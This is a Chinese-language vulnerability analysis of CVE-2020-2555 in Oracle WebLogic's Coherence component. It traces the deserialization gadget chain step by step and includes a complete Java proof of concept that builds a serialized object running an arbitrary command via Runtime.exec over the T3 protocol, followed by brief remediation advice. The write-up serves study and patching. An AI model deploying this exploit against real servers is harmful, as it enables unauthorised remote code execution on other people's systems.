Weblogic Coherence組件漏洞初探CVE-2020-2555
Weblogic Coherence組件漏洞初探CVE-2020-2555
2020年1月,互聯網上爆出了weblogic反序列化遠程命令執行漏洞(CVE-2020-2555),Oracle Fusion中間件Oracle Coherence存在缺陷,攻擊者可利用該漏洞再未授權情況下通過構造T3協議請求,獲取weblogic伺服器許可權,執行任意命令。
漏洞影響情況:
Oracle Coherence 3.7.1.17
Oracle Coherence & Weblogic 12.1.3.0.0
Oracle Coherence & Weblogic 12.2.1.3.0
Oracle Coherence & Weblogic 12.2.1.4.0
通過研究發現 Weblogic 10.3.6.0 版本不受影響範圍內,雖然該版本默認自帶了 Coherence(3.7),通過調試發現該版本默認並未啟用 Coherence,所以 Weblogic 10.3.6.0 不在受影響範圍內。
漏洞分析
分析環境Weblogic 12.1.3,注意每個Weblogic中的coherence組件可能會有不同,導致poc構造無法通用
開啟weblogic遠程調試,打包coherence目錄加入到idea中,並開啟遠程JVM調試
在Coherence組件中,出現了像CC鏈一樣可以組成鏈式調用的類
1) 鏈式調用
首先介紹幾個關鍵類,這幾個類和CC鏈一樣組成了鏈式調用。
ValueExtractor介面
所有實現了此介面的類都有個extract
方法,這個方法是整個調用鏈的關鍵方法
ReflectionExtractor類
此類實現了ValueExtractor
介面,有個extract
方法,此方法有調用method.invoke
可以用以下demo來構造Runtime.getRuntime()
public class Test {
public static void main(String[] args) {
ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
Object extract = reflectionExtractor.extract(Runtime.class);
System.out.println(extract);
}
}
ChainedExtractor類
此方法也實現了ValueExtractor
介面,也有個extract
方法,查看此方法
此方法和CC鏈的一樣,利用for循環遍歷了數組aExtractor
的每一個extract
方法,形成了ChainedExtractor
調用鏈。以下demo可以構造Runtime.getRuntime.exec造成命令執行的效果
public class Test {
public static void main(String[] args) {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
chainedExtractor.extract(Runtime.class);
}
}
接下來只要尋找到調用了ChainedExtractor#extract
方法的類,即可觸發調用鏈。
2) 觸發調用鏈
LimitFilter#toString
此處漏洞採用了com.tangosol.util.filter.LimitFilter#toString
來觸發調用鏈,下圖為toString
方法,其調用了extract
方法
這裡涉及兩個值,分別是this.m_comparator
和this.m_oAnchorTop
this.m_comparator
轉型成了ValueExtractor
類型,並賦值給了extractor
,而extractor
則調用了extract
方法
在extractor
方法中傳入了this.m_oAnchorTop
得出以下條件:
this.m_comparator
為chainedExtractor
this.m_oAnchorTop
為Runtime.class
以上兩個條件滿足即可利用com.tangosol.util.filter.LimitFilter#toString
來觸發調用鏈
LimitFilter#toString -》 chainedExtractor#extract
接下來就是尋找調用了LimitFilter#toString
的類,在CC5中有個BadAttributeValueExpException
,其readObject
中會調用到toString
BadAttributeValueExpException
此類在CC5中有出現過,其readObject
中會調用到toString
此處會調用valObj
的toString
方法,而valObj
在72行時候被獲取
3) 構造POC
先附上整個調用鏈:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
得出POC
package com.yyhuni;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class POC1 {
public static void main(String[] args) throws Exception {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
BadAttributeValueExpException BadAttribute = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
Field val = BadAttribute.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(BadAttribute, limitFilter);
//writeObject
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(BadAttribute);
objectOutputStream.close();
//readObject
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}
使用T3協議發送POC即可彈出計算器
修復
- 臨時解決方案:禁用 weblogic T3 協議。
- 安裝 Oracle 更新修補程式,需要登錄帳戶後下載。